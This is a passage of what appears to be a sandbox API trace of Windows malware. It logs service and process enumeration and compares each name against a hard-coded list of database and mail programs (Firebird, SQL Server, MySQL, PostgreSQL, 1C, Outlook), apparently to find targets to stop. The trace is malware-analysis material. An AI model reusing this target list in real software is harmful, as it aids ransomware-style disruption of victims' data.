lpString2="nsi") returned -1 [0252.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.175] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.175] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.175] lstrlenW (lpString="PcaSvc") returned 6 [0252.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.175] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.176] lstrlenW (lpString="PlugPlay") returned 8 [0252.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.177] lstrlenW (lpString="Power") returned 5 [0252.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.177] lstrlenW (lpString="ProfSvc") returned 7 [0252.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.178] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.178] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.178] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.178] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.178] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.178] lstrlenW (lpString="RpcSs") returned 5 [0252.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.179] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.179] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.179] lstrlenW (lpString="SamSs") returned 5 [0252.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.179] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.180] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.180] lstrlenW (lpString="Schedule") returned 8 [0252.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.181] lstrlenW (lpString="SENS") returned 4 [0252.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.181] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.182] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.182] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.450] lstrlenW (lpString="Spooler") returned 7 [0252.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.451] lstrlenW (lpString="SysMain") returned 7 [0252.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.451] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.451] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.451] lstrlenW (lpString="Themes") returned 6 [0252.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.452] lstrlenW (lpString="TrkWks") returned 6 [0252.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0252.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0252.452] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0252.452] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0252.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0252.452] lstrlenW (lpString="UxSms") returned 5 [0252.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0252.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0252.452] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0252.452] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0252.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0252.453] lstrlenW (lpString="WdiServiceHost") returned 14 [0252.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0252.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0252.453] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0252.453] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0252.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0252.453] lstrlenW (lpString="WdiSystemHost") returned 13 [0252.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0252.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0252.453] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0252.453] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0252.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0252.454] lstrlenW (lpString="Winmgmt") returned 7 [0252.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0252.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0252.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0252.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0252.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0252.454] lstrlenW (lpString="WPDBusEnum") returned 10 [0252.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0252.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0252.454] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0252.454] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0252.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0252.454] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x424e078 | out: hHeap=0x880000) returned 1 [0252.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0252.461] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.462] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.465] lstrlenW (lpString="System") returned 6 [0252.465] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0252.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0252.465] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0252.465] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0252.466] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0252.466] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0252.466] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0252.466] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.467] lstrlenW (lpString="smss.exe") returned 8 [0252.467] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0252.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0252.468] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.469] lstrlenW (lpString="csrss.exe") returned 9 [0252.469] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.469] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.469] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.469] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.470] lstrlenW (lpString="wininit.exe") returned 11 [0252.470] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0252.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0252.471] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0252.471] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0252.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0252.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0252.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0252.471] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.472] lstrlenW (lpString="csrss.exe") returned 9 [0252.472] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.472] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.472] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.473] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.474] lstrlenW (lpString="winlogon.exe") returned 12 [0252.474] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0252.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0252.474] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0252.474] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0252.474] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.475] lstrlenW (lpString="services.exe") returned 12 [0252.475] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.477] lstrlenW (lpString="lsass.exe") returned 9 [0252.477] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0252.478] lstrlenW (lpString="lsm.exe") returned 7 [0252.478] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.479] lstrlenW (lpString="svchost.exe") returned 11 [0252.480] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.480] lstrlenW (lpString="svchost.exe") returned 11 [0252.481] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.482] lstrlenW (lpString="svchost.exe") returned 11 [0252.482] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.483] lstrlenW (lpString="svchost.exe") returned 11 [0252.483] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.484] lstrlenW (lpString="svchost.exe") returned 11 [0252.484] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.485] lstrlenW (lpString="audiodg.exe") returned 11 [0252.485] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.486] lstrlenW (lpString="svchost.exe") returned 11 [0252.486] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.487] lstrlenW (lpString="explorer.exe") returned 12 [0252.487] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.488] lstrlenW (lpString="dwm.exe") returned 7 [0252.488] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.490] lstrlenW (lpString="svchost.exe") returned 11 [0252.490] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0252.491] lstrlenW (lpString="driver.exe") returned 10 [0252.491] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.492] lstrlenW (lpString="spoolsv.exe") returned 11 [0252.492] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0252.493] lstrlenW (lpString="taskhost.exe") returned 12 [0252.493] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.949] lstrlenW (lpString="svchost.exe") returned 11 [0252.949] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0252.950] lstrlenW (lpString="reader_sl.exe") returned 13 [0252.950] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0252.951] lstrlenW (lpString="taskhost.exe") returned 12 [0252.951] Process32NextW (in: hSnapshot=0x3a0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0252.952] CloseHandle (hObject=0x3a0) returned 1 [0252.953] Sleep (dwMilliseconds=0x1f4) [0255.290] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c2e60 [0255.291] EnumServicesStatusExW (in: hSCManager=0x41c2e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0255.292] GetLastError () returned 0xea [0255.292] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x113e) returned 0x4254088 [0255.293] EnumServicesStatusExW (in: hSCManager=0x41c2e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4254088, cbBufSize=0x113e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4254088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0255.295] CloseServiceHandle (hSCObject=0x41c2e60) returned 1 [0255.295] lstrlenW (lpString="Appinfo") returned 7 [0255.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0255.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0255.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0255.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0255.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0255.296] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0255.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0255.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0255.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0255.296] lstrlenW (lpString="AudioSrv") returned 8 [0255.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0255.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0255.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0255.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0255.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0255.297] lstrlenW (lpString="BFE") returned 3 [0255.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0255.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0255.297] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0255.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0255.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0255.297] lstrlenW (lpString="CryptSvc") returned 8 [0255.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0255.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0255.297] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0255.297] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0255.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0255.298] lstrlenW (lpString="CscService") returned 10 [0255.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0255.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0255.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0255.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0255.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0255.298] lstrlenW (lpString="DcomLaunch") returned 10 [0255.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.298] lstrcmpiW 